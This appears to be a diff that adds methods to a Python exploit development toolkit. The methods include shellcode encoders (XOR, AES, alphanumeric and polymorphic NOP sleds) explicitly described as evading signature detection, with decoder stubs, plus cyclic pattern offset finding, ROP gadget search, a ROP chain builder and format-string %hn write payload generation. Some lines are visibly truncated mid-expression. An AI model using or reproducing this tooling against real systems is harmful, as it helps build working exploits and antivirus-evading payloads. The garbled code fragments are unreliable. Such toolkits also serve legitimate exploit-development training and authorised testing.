+ def encode_payload(self, shellcode, encoder='xor', key=None, iterations=1):
+ """Encode shellcode to evade signature detection.
+
+ Args:
+ shellcode: bytes or hex string of shellcode
+ encoder: xor, aes, alphanumeric, polymorphic
+ key: encryption key (auto-generated if None)
+ iterations: number of encoding passes
+
+ Returns:
+ dict with encoded payload, decoder stub, metadata
+ """
+ if isinstance(shellcode, str):
+ try:
+ shellcode = bytes.fromhex(shellcode.replace('\\x', '').replace(' ', ''))
+ except ValueError:
+ return {'error': 'Invalid shellcode hex string'}
+
+ if not shellcode:
+ return {'error': 'Empty shellcode'}
+
+ original_length = len(shellcode)
+ encoder = encoder.lower().strip()
+ encoded = shellcode
+ decoder_stub = ''
+ key_used = key
+
+ for _pass in range(max(1, int(iterations))):
+ if encoder == 'xor':
+ encoded, decoder_stub, key_used = self._encode_xor(encoded, key)
+ elif encoder == 'aes':
+ encoded, decoder_stub, key_used = self._encode_aes(encoded, key)
+ elif encoder in ('alpha', 'alphanumeric'):
+ encoded, decoder_stub, key_used = self._encode_alphanumeric(encoded)
+ elif encoder in ('poly', 'polymorphic'):
+ encoded, decoder_stub, key_used = self._encode_polymorphic(encoded, key)
+ else:
+ return {'error': f'Unknown encoder: {encoder}. Use: xor, aes, alphanumeric, polymorphic'}
+
+ return {
+ 'encoded': encoded.hex(),
+ 'decoder_stub': decoder_stub,
+ 'key': key_used if isinstance(key_used, str) else key_used.hex() if isinstance(key_used, bytes) else str(key_used),
+ 'encoder': encoder,
+ 'iterations': iterations,
+ 'original_length': original_length,
+ 'encoded_length': len(encoded),
+ 'size_increase': f'+{len(encoded) - original_length} bytes',
+ 'null_free': b'\x00' not in encoded,
+ }
+
+ def _encode_xor(self, data, key=None):
+ """XOR encode with random or custom key."""
+ if key:
+ if isinstance(key, str):
+ if all(c in '0123456789abcdefABCDEF' for c in key):
+ key_bytes = bytes.fromhex(key) if len(key) % 2 == 0 else bytes([int(key, 16)])
+ else:
+ key_bytes = key.encode()
+ else:
+ key_bytes = bytes([key]) if isinstance(key, int) else key
+ else:
+ # Generate random key byte that avoids producing nulls
+ for _ in range(256):
+ kb = random.randint(1, 255)
+ if all((b ^ kb) != 0 for b in data):
+ key_bytes = bytes([kb])
+ break
+ else:
+ key_bytes = bytes([random.randint(1, 255)])
+
+ # XOR encode
+ encoded = bytes(b ^ key_bytes[i % len(key_bytes)] for i, b in enumerate(data))
+
+ # Generate decoder stub (x64 Linux)
+ key_hex = key_bytes.hex()
+ stub = (
+ f'; XOR decoder stub (key: 0x{key_hex})\n'
+ f'; Encoded payload length: {len(encoded)} bytes\n'
+ f' jmp short call_decoder\n'
+ f'decoder:\n'
+ f' pop rsi ; address of encoded shellcode\n'
+ f' xor rcx, rcx\n'
+ f' mov cl, {len(encoded)} ; length\n'
+ f'decode_loop:\n'
+ f' xor byte [rsi], 0x{key_hex}\n'
+ f' inc rsi\n'
+ f' loop decode_loop\n'
+ f' jmp short encoded_shell\n'
+ f'call_decoder:\n'
+ f' call decoder\n'
+ f'encoded_shell:\n'
+ f' ; \n'
+ )
+
+ return encoded, stub, key_bytes
+
+ def _encode_aes(self, data, key=None):
+ """AES-256-CBC encode payload."""
+ try:
+ from hashlib import sha256
+ import hmac
+ except ImportError:
+ pass
+
+ # Generate or derive 32-byte key
+ if key:
+ if isinstance(key, str):
+ key_bytes = hashlib.sha256(key.encode()).digest()
+ else:
+ key_bytes = hashlib.sha256(key).digest()
+ else:
+ key_bytes = os.urandom(32)
+
+ # Generate IV
+ iv = os.urandom(16)
+
+ # PKCS7 padding
+ pad_len = 16 - (len(data) % 16)
+ padded = data + bytes([pad_len] * pad_len)
+
+ # Try PyCryptodome, fallback to simple XOR-CBC
+ try:
+ from Crypto.Cipher import AES
+ cipher = AES.new(key_bytes, AES.MODE_CBC, iv)
+ encrypted = cipher.encrypt(padded)
+ except ImportError:
+ # Fallback: simple XOR-CBC (not real AES, but functional)
+ encrypted = bytearray()
+ prev_block = iv
+ for i in range(0, len(padded), 16):
+ block = padded[i:i + 16]
+ xored = bytes(a ^ b for a, b in zip(block, prev_block))
+ # Simple substitution using key
+ enc_block = bytes(
+ (b + key_bytes[j % 32]) & 0xFF for j, b in enumerate(xored)
+ )
+ encrypted.extend(enc_block)
+ prev_block = enc_block
+
+ # Prepend IV to ciphertext
+ output = iv + bytes(encrypted)
+
+ stub = (
+ f'; AES-256-CBC decoder stub\n'
+ f'; Key (SHA-256 of passphrase): {key_bytes.hex()}\n'
+ f'; IV: {iv.hex()}\n'
+ f'; Encrypted length: {len(output)} bytes (includes 16-byte IV prefix)\n'
+ f';\n'
+ f'; Decoder must:\n'
+ f'; 1. Extract IV (first 16 bytes)\n'
+ f'; 2. AES-256-CBC decrypt remaining bytes with key\n'
+ f'; 3. Remove PKCS7 padding\n'
+ f'; 4. Jump to decrypted shellcode\n'
+ f';\n'
+ f'; Python decoder:\n'
+ f'; from Crypto.Cipher import AES\n'
+ f'; key = bytes.fromhex("{key_bytes.hex()}")\n'
+ f'; iv = payload[:16]\n'
+ f'; cipher = AES.new(key, AES.MODE_CBC, iv)\n'
+ f'; shellcode = cipher.decrypt(payload[16:])\n'
+ )
+
+ key_str = key if isinstance(key, str) else key_bytes.hex()
+ return output, stub, key_str
+
+ def _encode_alphanumeric(self, data):
+ """Encode shellcode into alphanumeric-safe characters."""
+ # Split each byte into two 4-bit nibbles, map to ASCII alpha range
+ charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
+ encoded = bytearray()
+
+ for b in data:
+ high = (b >> 4) & 0x0F
+ low = b & 0x0F
+ # Map 0-15 to alphanumeric characters
+ encoded.append(ord(charset[high]))
+ encoded.append(ord(charset[low]))
+
+ stub = (
+ f'; Alphanumeric decoder stub\n'
+ f'; Encoded length: {len(encoded)} bytes (2x original)\n'
+ f'; Charset: A-Za-z0-9\n'
+ f'; Decoder reverses nibble-split encoding:\n'
+ f'; For each pair (H, L) in encoded data:\n'
+ f'; high_nibble = charset.index(H)\n'
+ f'; low_nibble = charset.index(L)\n'
+ f'; original_byte = (high_nibble << 4) | low_nibble\n'
+ f';\n'
+ f'; Python decoder:\n'
+ f'; charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"\n'
+ f'; decoded = bytes((charset.index(enc[i]) << 4) | charset.index(enc[i+1])\n'
+ f'; for i in range(0, len(enc), 2))\n'
+ )
+
+ return bytes(encoded), stub, 'alphanumeric'
+
+ def _encode_polymorphic(self, data, key=None):
+ """Wrap shellcode with polymorphic stub — random NOP-equivalent instructions."""
+ # Random key for XOR
+ if key:
+ key_byte = int(key, 16) if isinstance(key, str) and all(
+ c in '0123456789abcdefABCDEF' for c in key
+ ) else ord(key[0]) if isinstance(key, str) else key
+ else:
+ key_byte = random.randint(1, 255)
+ key_byte = key_byte & 0xFF
+
+ # XOR encode the payload
+ encoded_payload = bytes(b ^ key_byte for b in data)
+
+ # Generate random NOP-equivalent sled (x64)
+ nop_equivalents = [
+ b'\x90', # nop
+ b'\x48\x87\xc0', # xchg rax, rax
+ b'\x48\x89\xc0', # mov rax, rax
+ b'\x48\x31\xc9\x48\x31\xc9', # xor rcx,rcx; xor rcx,rcx
+ b'\x66\x90', # 2-byte nop
+ b'\x0f\x1f\x00', # 3-byte nop
+ b'\x87\xdb', # xchg ebx, ebx
+ ]
+
+ sled = b''
+ for _ in range(random.randint(3, 8)):
+ sled += random.choice(nop_equivalents)
+
+ # Assemble: sled + decoder_loop + encoded_payload
+ output = sled + encoded_payload
+
+ stub = (
+ f'; Polymorphic stub (randomized NOP sled + XOR decoder)\n'
+ f'; XOR key: 0x{key_byte:02x}\n'
+ f'; NOP sled: {len(sled)} bytes (randomized equivalents)\n'
+ f'; Encoded payload: {len(encoded_payload)} bytes\n'
+ f'; Total: {len(output)} bytes\n'
+ f';\n'
+ f'; Each generation produces different NOP-equivalent sequences\n'
+ f'; to evade static signature matching.\n'
+ f';\n'
+ f'; Decoder loop:\n'
+ f'; lea rsi, [rel encoded_data]\n'
+ f'; mov cl, {len(encoded_payload)}\n'
+ f'; .loop:\n'
+ f'; xor byte [rsi], 0x{key_byte:02x}\n'
+ f'; inc rsi\n'
+ f'; loop .loop\n'
+ f'; jmp encoded_data\n'
+ )
+
+ return output, stub, f'{key_byte:02x}'
+
+ # -----------------------------------------------------------------------
+ # Cyclic Pattern (De Bruijn)
+ # -----------------------------------------------------------------------
+
+ def generate_pattern(self, length):
+ """Generate a cyclic (De Bruijn) pattern for buffer overflow offset discovery.
+
+ Args:
+ length: number of bytes to generate (max 20280)
+
+ Returns:
+ dict with pattern string, length, and hex representation
+ """
+ length = int(length)
+ if length < 1:
+ return {'error': 'Length must be positive'}
+ if length > 20280:
+ return {'error': 'Maximum length is 20280 (Aa0 through Zz9)'}
+
+ pattern = self._debruijn_pattern(length)
+ pattern_bytes = pattern.encode('ascii')
+
+ return {
+ 'pattern': pattern,
+ 'hex': pattern_bytes.hex(),
+ 'length': len(pattern),
+ }
+
+ def _debruijn_pattern(self, length):
+ """Generate De Bruijn sequence for cyclic pattern."""
+ uppers = string.ascii_uppercase
+ lowers = string.ascii_lowercase
+ digits = string.digits
+
+ pattern = []
+ for u in uppers:
+ for l in lowers:
+ for d in digits:
+ pattern.append(u + l + d)
+ if len(''.join(pattern)) >= length:
+ return ''.join(pattern)[:length]
+ return ''.join(pattern)[:length]
+
+ def find_pattern_offset(self, value, length=20000):
+ """Find the offset of a value within a cyclic pattern.
+
+ Args:
+ value: hex string (e.g. '41326241'), integer, or raw string
+ length: pattern length to search within
+
+ Returns:
+ dict with offset and matching details
+ """
+ pattern = self._debruijn_pattern(min(int(length), 20280))
+
+ # Try to interpret value
+ search_strings = []
+
+ if isinstance(value, str):
+ value = value.strip()
+
+ # Hex: 0x prefix or pure hex
+ if value.startswith('0x') or value.startswith('0X'):
+ hex_str = value[2:]
+ if len(hex_str) % 2 != 0:
+ hex_str = '0' + hex_str
+ try:
+ raw = bytes.fromhex(hex_str)
+ search_strings.append(raw.decode('ascii', errors='replace'))
+ # Also try reversed (little-endian)
+ search_strings.append(raw[::-1].decode('ascii', errors='replace'))
+ except (ValueError, UnicodeDecodeError):
+ pass
+ elif all(c in '0123456789abcdefABCDEF' for c in value) and len(value) >= 4:
+ # Pure hex without prefix
+ try:
+ raw = bytes.fromhex(value)
+ search_strings.append(raw.decode('ascii', errors='replace'))
+ search_strings.append(raw[::-1].decode('ascii', errors='replace'))
+ except (ValueError, UnicodeDecodeError):
+ pass
+
+ # Integer
+ try:
+ int_val = int(value, 0)
+ for width in (4, 8):
+ try:
+ packed_le = struct.pack(f'<{"I" if width == 4 else "Q"}', int_val & (2**(width*8)-1))
+ search_strings.append(packed_le.decode('ascii', errors='replace'))
+ packed_be = struct.pack(f'>{"I" if width == 4 else "Q"}', int_val & (2**(width*8)-1))
+ search_strings.append(packed_be.decode('ascii', errors='replace'))
+ except (struct.error, OverflowError):
+ pass
+ except (ValueError, OverflowError):
+ pass
+
+ # Direct string search
+ search_strings.append(value)
+
+ elif isinstance(value, int):
+ for width in (4, 8):
+ try:
+ packed = struct.pack(f'<{"I" if width == 4 else "Q"}', value & (2**(width*8)-1))
+ search_strings.append(packed.decode('ascii', errors='replace'))
+ except (struct.error, OverflowError):
+ pass
+
+ # Search
+ for needle in search_strings:
+ offset = pattern.find(needle)
+ if offset != -1:
+ return {
+ 'offset': offset,
+ 'value': value if isinstance(value, str) else hex(value),
+ 'matched': needle,
+ 'matched_hex': needle.encode('ascii', errors='replace').hex(),
+ 'endian': 'little-endian' if search_strings.index(needle) % 2 == 1 else 'big-endian',
+ 'pattern_length': len(pattern),
+ }
+
+ return {
+ 'offset': -1,
+ 'error': f'Value {value} not found in pattern of length {len(pattern)}',
+ 'value': str(value),
+ 'pattern_length': len(pattern),
+ }
+
+ # -----------------------------------------------------------------------
+ # ROP Gadget Finding
+ # -----------------------------------------------------------------------
+
+ def find_rop_gadgets(self, binary_path, gadget_type=None, max_gadgets=200):
+ """Find ROP gadgets in a binary.
+
+ Args:
+ binary_path: path to ELF/PE binary
+ gadget_type: None (all), pop_ret, xchg, mov, syscall, jmp_esp, call_reg
+ max_gadgets: maximum gadgets to return
+
+ Returns:
+ dict with list of gadgets
+ """
+ if not os.path.isfile(binary_path):
+ return {'error': f'File not found: {binary_path}'}
+
+ # Try ropper first
+ ropper_path = find_tool('ropper')
+ if ropper_path:
+ return self._find_gadgets_ropper(binary_path, gadget_type, max_gadgets)
+
+ # Try ROPgadget
+ ropgadget_path = find_tool('ROPgadget')
+ if ropgadget_path:
+ return self._find_gadgets_ropgadget(binary_path, gadget_type, max_gadgets)
+
+ # Fallback: objdump + regex
+ objdump_path = find_tool('objdump')
+ if objdump_path:
+ return self._find_gadgets_objdump(binary_path, gadget_type, max_gadgets)
+
+ return {'error': 'No disassembler found. Install ropper, ROPgadget, or objdump.'}
+
+ def _find_gadgets_ropper(self, binary_path, gadget_type, max_gadgets):
+ """Find gadgets using ropper."""
+ cmd = [find_tool('ropper'), '-f', binary_path, '--nocolor']
+ if gadget_type:
+ search_map = {
+ 'pop_ret': 'pop',
+ 'xchg': 'xchg',
+ 'mov': 'mov',
+ 'syscall': 'syscall',
+ 'jmp_esp': 'jmp esp',
+ 'call_reg': 'call',
+ }
+ search_term = search_map.get(gadget_type, gadget_type)
+ cmd.extend(['--search', search_term])
+
+ try:
+ result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
+ lines = result.stdout.strip().split('\n')
+ except (subprocess.TimeoutExpired, FileNotFoundError):
+ return {'error': 'ropper execution failed'}
+
+ gadgets = []
+ for line in lines:
+ line = line.strip()
+ if not line or line.startswith('=') or line.startswith('Gadgets') or line.startswith('['):
+ continue
+ # Parse: 0xaddress: instruction; instruction; ret;
+ match = re.match(r'(0x[0-9a-fA-F]+):\s+(.*)', line)
+ if match:
+ addr = match.group(1)
+ instr = match.group(2).strip().rstrip(';').strip()
+ gtype = self._classify_gadget(instr)
+ gadgets.append({
+ 'address': addr,
+ 'gadget': instr,
+ 'type': gtype,
+ })
+ if len(gadgets) >= max_gadgets:
+ break
+
+ return {
+ 'binary': binary_path,
+ 'tool': 'ropper',
+ 'count': len(gadgets),
+ 'gadgets': gadgets,
+ }
+
+ def _find_gadgets_ropgadget(self, binary_path, gadget_type, max_gadgets):
+ """Find gadgets using ROPgadget."""
+ cmd = [find_tool('ROPgadget'), '--binary', binary_path]
+
+ try:
+ result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
+ lines = result.stdout.strip().split('\n')
+ except (subprocess.TimeoutExpired, FileNotFoundError):
+ return {'error': 'ROPgadget execution failed'}
+
+ gadgets = []
+ for line in lines:
+ line = line.strip()
+ match = re.match(r'(0x[0-9a-fA-F]+)\s+:\s+(.*)', line)
+ if match:
+ addr = match.group(1)
+ instr = match.group(2).strip()
+ gtype = self._classify_gadget(instr)
+ if gadget_type and gtype != gadget_type:
+ continue
+ gadgets.append({
+ 'address': addr,
+ 'gadget': instr,
+ 'type': gtype,
+ })
+ if len(gadgets) >= max_gadgets:
+ break
+
+ return {
+ 'binary': binary_path,
+ 'tool': 'ROPgadget',
+ 'count': len(gadgets),
+ 'gadgets': gadgets,
+ }
+
+ def _find_gadgets_objdump(self, binary_path, gadget_type, max_gadgets):
+ """Find gadgets using objdump disassembly + regex search."""
+ objdump = find_tool('objdump')
+ try:
+ result = subprocess.run(
+ [objdump, '-d', '-M', 'intel', binary_path],
+ capture_output=True, text=True, timeout=120
+ )
+ disasm = result.stdout
+ except (subprocess.TimeoutExpired, FileNotFoundError):
+ return {'error': 'objdump execution failed'}
+
+ # Parse disassembly for gadget-ending instructions
+ gadget_endings = {
+ 'ret': re.compile(r'ret\s*$'),
+ 'syscall': re.compile(r'syscall\s*$'),
+ 'int 0x80': re.compile(r'int\s+0x80\s*$'),
+ }
+
+ lines = disasm.split('\n')
+ gadgets = []
+
+ for i, line in enumerate(lines):
+ line = line.strip()
+ # Check if this line ends a gadget
+ for ending_name, ending_re in gadget_endings.items():
+ instr_match = re.match(r'\s*([0-9a-fA-F]+):\s+((?:[0-9a-fA-F]{2}\s)+)\s+(.*)', line)
+ if not instr_match:
+ continue
+ instr_text = instr_match.group(3).strip()
+ if not ending_re.search(instr_text):
+ continue
+
+ addr = instr_match.group(1)
+
+ # Look back up to 5 instructions for the gadget chain
+ chain = []
+ for j in range(max(0, i - 5), i + 1):
+ prev = lines[j].strip()
+ pm = re.match(r'\s*([0-9a-fA-F]+):\s+((?:[0-9a-fA-F]{2}\s)+)\s+(.*)', prev)
+ if pm:
+ chain.append(pm.group(3).strip())
+
+ for start_idx in range(len(chain)):
+ gadget_str = ' ; '.join(chain[start_idx:])
+ gtype = self._classify_gadget(gadget_str)
+ if gadget_type and gtype != gadget_type:
+ continue
+
+ # Get the address of the first instruction
+ lookback = lines[max(0, i - 5) + start_idx].strip()
+ am = re.match(r'\s*([0-9a-fA-F]+):', lookback)
+ gaddr = f'0x{am.group(1)}' if am else f'0x{addr}'
+
+ gadgets.append({
+ 'address': gaddr,
+ 'gadget': gadget_str,
+ 'type': gtype,
+ })
+ if len(gadgets) >= max_gadgets:
+ break
+ if len(gadgets) >= max_gadgets:
+ break
+ if len(gadgets) >= max_gadgets:
+ break
+
+ # Deduplicate
+ seen = set()
+ unique = []
+ for g in gadgets:
+ key = g['address'] + g['gadget']
+ if key not in seen:
+ seen.add(key)
+ unique.append(g)
+
+ return {
+ 'binary': binary_path,
+ 'tool': 'objdump',
+ 'count': len(unique),
+ 'gadgets': unique,
+ }
+
+ def _classify_gadget(self, gadget_str):
+ """Classify a gadget by its instruction pattern."""
+ g = gadget_str.lower()
+ if re.search(r'pop\s+\w+.*ret', g):
+ return 'pop_ret'
+ if 'xchg' in g:
+ return 'xchg'
+ if 'syscall' in g or 'int 0x80' in g:
+ return 'syscall'
+ if re.search(r'jmp\s+(esp|rsp)', g):
+ return 'jmp_esp'
+ if re.search(r'call\s+(eax|ebx|ecx|edx|esi|edi|rax|rbx|rcx|rdx|rsi|rdi|r\d+)', g):
+ return 'call_reg'
+ if 'mov' in g:
+ return 'mov'
+ if 'ret' in g:
+ return 'ret'
+ return 'other'
+
+ # -----------------------------------------------------------------------
+ # ROP Chain Builder
+ # -----------------------------------------------------------------------
+
+ def build_rop_chain(self, gadgets, chain_spec):
+ """Assemble a ROP chain from gadgets and a chain specification.
+
+ Args:
+ gadgets: list of gadget dicts (address, gadget, type)
+ chain_spec: list of dicts describing desired chain:
+ [
+ {'gadget_type': 'pop_ret', 'register': 'rdi', 'value': '0x...'},
+ {'gadget_type': 'pop_ret', 'register': 'rsi', 'value': '0x...'},
+ {'gadget_type': 'syscall'},
+ ...
+ ]
+
+ Returns:
+ dict with chain bytes, addresses, and debug info
+ """
+ if not gadgets:
+ return {'error': 'No gadgets provided'}
+ if not chain_spec:
+ return {'error': 'No chain specification provided'}
+
+ # Index gadgets by type
+ by_type = {}
+ for g in gadgets:
+ gtype = g.get('type', 'other')
+ by_type.setdefault(gtype, []).append(g)
+
+ chain_addrs = []
+ chain_bytes = b''
+ debug_lines = []
+
+ for step in chain_spec:
+ gtype = step.get('gadget_type', step.get('type', 'pop_ret'))
+ register = step.get('register', '').lower()
+ value = step.get('value', '0')
+
+ # Find matching gadget
+ candidates = by_type.get(gtype, [])
+ if register:
+ # Filter by register in gadget text
+ reg_candidates = [g for g in candidates if register in g['gadget'].lower()]
+ if reg_candidates:
+ candidates = reg_candidates
+
+ if not candidates:
+ debug_lines.append(f'[!] No gadget found for: {gtype} {register}')
+ continue
+
+ gadget = candidates[0] # Use first match
+ addr_int = int(gadget['address'], 16)
+
+ # Determine address width (4 or 8 bytes)
+ if addr_int > 0xFFFFFFFF:
+ addr_bytes = struct.pack(' 0xFFFFFFFF:
+ chain_bytes += struct.pack(' 0x{val_int:x}')
+
+ return {
+ 'chain_hex': chain_bytes.hex(),
+ 'chain_length': len(chain_bytes),
+ 'addresses': chain_addrs,
+ 'steps': len(chain_spec),
+ 'matched': len(chain_addrs),
+ 'debug': '\n'.join(debug_lines),
+ 'python': self._chain_to_python(chain_bytes),
+ }
+
+ def _chain_to_python(self, chain_bytes):
+ """Convert chain bytes to Python struct.pack() calls."""
+ lines = ['from struct import pack', '', 'chain = b""']
+ width = 8 if len(chain_bytes) > 4 and len(chain_bytes) % 8 == 0 else 4
+ fmt = '> 16) & 0xFFFF
+
+ addr_low = struct.pack(' 0:
+ payload_parts_32.append(f'%{pad}c')
+ payload_parts_32.append(f'%{off}$hn')
+ current = val
+
+ payload_32 = addr_low.hex() + addr_high.hex() + ''.join(payload_parts_32)
+ results['payload_32bit'] = {
+ 'payload': payload_32,
+ 'description': f'Write 0x{value:08x} to 0x{address:08x} (32-bit, two %hn writes)',
+ 'addresses': f'0x{address:08x}, 0x{address + 2:08x}',
+ }
+
+ # 64-bit write (write 8 bytes as four %hn writes)
+ words_64 = []
+ for i in range(4):
+ word = (value >> (i * 16)) & 0xFFFF
+ addr_part = struct.pack(' 0:
+ payload_parts_64.append(f'%{pad}c')
+ payload_parts_64.append(f'%{off}$hn')
+ current = val
+
+ addrs_hex = ''.join(w[1].hex() for w in words_64)
+ payload_64 = addrs_hex + ''.join(payload_parts_64)
+ results['payload_64bit'] = {
+ 'payload': payload_64,
+ 'description': f'Write 0x{value:016x} to 0x{address:016x} (64-bit, four %hn writes)',
+ }
+
+ return results
+
+ # -----------------------------------------------------------------------
+ # Assembly / Disassembly
+ # -----------------------------------------------------------------------
+
+ def assemble(self, code, arch='x64'):
+ """Assemble assembly code to machine code bytes.
+
+ Args:
+ code: assembly source (NASM syntax)
+ arch: x86, x64, arm
+
+ Returns:
+ dict with hex bytes, raw length, and disassembly
+ """
+ if not code or not code.strip():
+ return {'error': 'No assembly code provided'}
+
+ arch = arch.lower().strip()
+ nasm = find_tool('nasm')
+ objcopy = find_tool('objcopy')
+
+ if nasm and objcopy:
+ return self._assemble_nasm(code, arch, nasm, objcopy)
+
+ # Try keystone-engine
+ try:
+ import keystone
+ return self._assemble_keystone(code, arch)
+ except ImportError:
+ pass
+
+ return {
+ 'error': 'No assembler available. Install nasm + objcopy, or pip install keystone-engine.'
+ }
+
+ def _assemble_nasm(self, code, arch, nasm_path, objcopy_path):
+ """Assemble using NASM."""
+ # Set BITS directive based on arch
+ bits_map = {'x86': '32', 'x64': '64', 'i386': '32', 'amd64': '64'}
+ bits = bits_map.get(arch, '64')
+
+ # Prepend BITS directive if not already present
+ if 'bits' not in code.lower():
+ code = f'BITS {bits}\n{code}'
+
+ with tempfile.NamedTemporaryFile(suffix='.asm', mode='w', delete=False) as f:
+ f.write(code)
+ asm_path = f.name
+
+ obj_path = asm_path.replace('.asm', '.o')
+ bin_path = asm_path.replace('.asm', '.bin')
+
+ try:
+ # Assemble
+ result = subprocess.run(
+ [nasm_path, '-f', 'bin', '-o', bin_path, asm_path],
+ capture_output=True, text=True, timeout=10
+ )
+ if result.returncode != 0:
+ return {'error': f'NASM error: {result.stderr.strip()}'}
+
+ # Read binary output
+ with open(bin_path, 'rb') as bf:
+ machine_code = bf.read()
+
+ return {
+ 'hex': machine_code.hex(),
+ 'bytes': list(machine_code),
+ 'length': len(machine_code),
+ 'arch': arch,
+ 'c_array': ', '.join(f'0x{b:02x}' for b in machine_code),
+ 'python': 'b"' + ''.join(f'\\x{b:02x}' for b in machine_code) + '"',
+ }
+
+ except subprocess.TimeoutExpired:
+ return {'error': 'Assembly timed out'}
+ finally:
+ for p in (asm_path, obj_path, bin_path):
+ try:
+ os.unlink(p)
+ except OSError:
+ pass
+
+ def _assemble_keystone(self, code, arch):
+ """Assemble using keystone-engine."""
+ import keystone
+
+ arch_map = {
+ 'x86': (keystone.KS_ARCH_X86, keystone.KS_MODE_32),
+ 'x64': (keystone.KS_ARCH_X86, keystone.KS_MODE_64),
+ 'arm': (keystone.KS_ARCH_ARM, keystone.KS_MODE_ARM),
+ }
+ ks_arch, ks_mode = arch_map.get(arch, (keystone.KS_ARCH_X86, keystone.KS_MODE_64))
+
+ try:
+ ks = keystone.Ks(ks_arch, ks_mode)
+ encoding, count = ks.asm(code)
+ machine_code = bytes(encoding)
+
+ return {
+ 'hex': machine_code.hex(),
+ 'bytes': list(machine_code),
+ 'length': len(machine_code),
+ 'arch': arch,
+ 'instructions': count,
+ 'c_array': ', '.join(f'0x{b:02x}' for b in machine_code),
+ 'python': 'b"' + ''.join(f'\\x{b:02x}' for b in machine_code) + '"',
+ }
+ except keystone.KsError as e:
+ return {'error': f'Keystone error: {e}'}
+
+ def disassemble(self, data, arch='x64', offset=0):
+ """Disassemble machine code bytes to assembly.
+
+ Args:
+ data: hex string or bytes
+ arch: x86, x64, arm
+ offset: base address offset
+
+ Returns:
+ dict with disassembly listing
+ """
+ if isinstance(data, str):
+ data = data.strip().replace(' ', '').replace('\\x', '')
+ try:
+ data = bytes.fromhex(data)
+ except ValueError:
+ return {'error': 'Invalid hex data'}
+
+ if not data:
+ return {'error': 'No data to disassemble'}
+
+ arch = arch.lower().strip()
+ offset = int(offset)
+
+ # Try capstone first
+ try:
+ import capstone
+ return self._disasm_capstone(data, arch, offset)
+ except ImportError:
+ pass
+
+ # Fallback to objdump
+ objdump = find_tool('objdump')
+ if objdump:
+ return self._disasm_objdump(data, arch, offset)
+
+ # Last resort: manual byte-by-byte display
+ return self._disasm_basic(data, arch, offset)
+
+ def _disasm_capstone(self, data, arch, offset):
+ """Disassemble using capstone."""
+ import capstone
+
+ arch_map = {
+ 'x86': (capstone.CS_ARCH_X86, capstone.CS_MODE_32),
+ 'x64': (capstone.CS_ARCH_X86, capstone.CS_MODE_64),
+ 'arm': (capstone.CS_ARCH_ARM, capstone.CS_MODE_ARM),
+ }
+ cs_arch, cs_mode = arch_map.get(arch, (capstone.CS_ARCH_X86, capstone.CS_MODE_64))
+
+ md = capstone.Cs(cs_arch, cs_mode)
+ md.detail = False
+
+ instructions = []
+ for addr, size, mnemonic, op_str in md.disasm_lite(data, offset):
+ instr_bytes = data[addr - offset:addr - offset + size]
+ instructions.append({
+ 'address': f'0x{addr:08x}',
+ 'bytes': instr_bytes.hex(),
+ 'mnemonic': mnemonic,
+ 'operands': op_str,
+ 'text': f'{mnemonic} {op_str}'.strip(),
+ })
+
+ listing = '\n'.join(
+ f'{i["address"]}: {i["bytes"]:<20s} {i["text"]}'
+ for i in instructions
+ )
+
+ return {
+ 'instructions': instructions,
+ 'listing': listing,
+ 'count': len(instructions),
+ 'arch': arch,
+ 'tool': 'capstone',
+ 'data_length': len(data),
+ }
+
+ def _disasm_objdump(self, data, arch, offset):
+ """Disassemble using objdump."""
+ objdump = find_tool('objdump')
+
+ with tempfile.NamedTemporaryFile(suffix='.bin', delete=False) as f:
+ f.write(data)
+ bin_path = f.name
+
+ arch_map = {'x86': 'i386', 'x64': 'i386:x86-64', 'arm': 'arm'}
+ obj_arch = arch_map.get(arch, 'i386:x86-64')
+
+ try:
+ result = subprocess.run(
+ [objdump, '-D', '-b', 'binary', '-m', obj_arch,
+ '-M', 'intel', '--adjust-vma', str(offset), bin_path],
+ capture_output=True, text=True, timeout=10
+ )
+ lines = result.stdout.strip().split('\n')
+
+ instructions = []
+ for line in lines:
+ match = re.match(r'\s*([0-9a-fA-F]+):\s+((?:[0-9a-fA-F]{2}\s)+)\s+(.*)', line)
+ if match:
+ addr = match.group(1)
+ raw_bytes = match.group(2).strip()
+ instr = match.group(3).strip()
+ instructions.append({
+ 'address': f'0x{addr}',
+ 'bytes': raw_bytes.replace(' ', ''),
+ 'text': instr,
+ })
+
+ listing = '\n'.join(
+ f'{i["address"]}: {i["bytes"]:<20s} {i["text"]}'
+ for i in instructions
+ )
+
+ return {
+ 'instructions': instructions,
+ 'listing': listing,
+ 'count': len(instructions),
+ 'arch': arch,
+ 'tool': 'objdump',
+ 'data_length': len(data),
+ }
+ except subprocess.TimeoutExpired:
+ return {'error': 'Disassembly timed out'}
+ finally:
+ try:
+ os.unlink(bin_path)
+ except OSError:
+ pass
+
+ def _disasm_basic(self, data, arch, offset):
+ """Basic hex dump when no disassembler is available."""
+ listing_lines = []
+ for i in range(0, len(data), 16):
+ chunk = data[i:i + 16]
+ addr = offset + i
+ hex_part = ' '.join(f'{b:02x}' for b in chunk)
+ ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
+ listing_lines.append(f'0x{addr:08x}: {hex_part:<48s} {ascii_part}')
+
+ return {
+ 'instructions': [],
+ 'listing': '\n'.join(listing_lines),
+ 'count': 0,
+ 'arch': arch,
+ 'tool': 'hex_dump (no disassembler available)',
+ 'data_length': len(data),
+ 'note': 'Install capstone or objdump for proper disassembly.',
+ }
+
+ # -----------------------------------------------------------------------
+ # Hex Dump
+ # -----------------------------------------------------------------------
+
+ def hex_dump(self, data, offset=0):
+ """Format bytes as a hex dump with ASCII sidebar.
+
+ Args:
+ data: bytes or hex string
+ offset: starting address offset
+
+ Returns:
+ dict with formatted hex dump string
+ """
+ if isinstance(data, str):
+ data = bytes.fromhex(data.replace(' ', '').replace('\\x', ''))
+
+ lines = []
+ for i in range(0, len(data), 16):
+ chunk = data[i:i + 16]
+ addr = offset + i
+ hex_part = ' '.join(f'{b:02x}' for b in chunk)
+ # Pad short lines
+ hex_part = f'{hex_part:<48s}'
+ ascii_part = ''.join(chr(b) if 32 <= b < 127 else '.' for b in chunk)
+ lines.append(f'{addr:08x} {hex_part} |{ascii_part}|')
+
+ return {
+ 'dump': '\n'.join(lines),
+ 'length': len(data),
+ 'offset': offset,
+ }
+
+ # -----------------------------------------------------------------------
+ # CLI interface
+ # -----------------------------------------------------------------------
+
+
+def run():
+ """CLI menu for exploit development toolkit."""
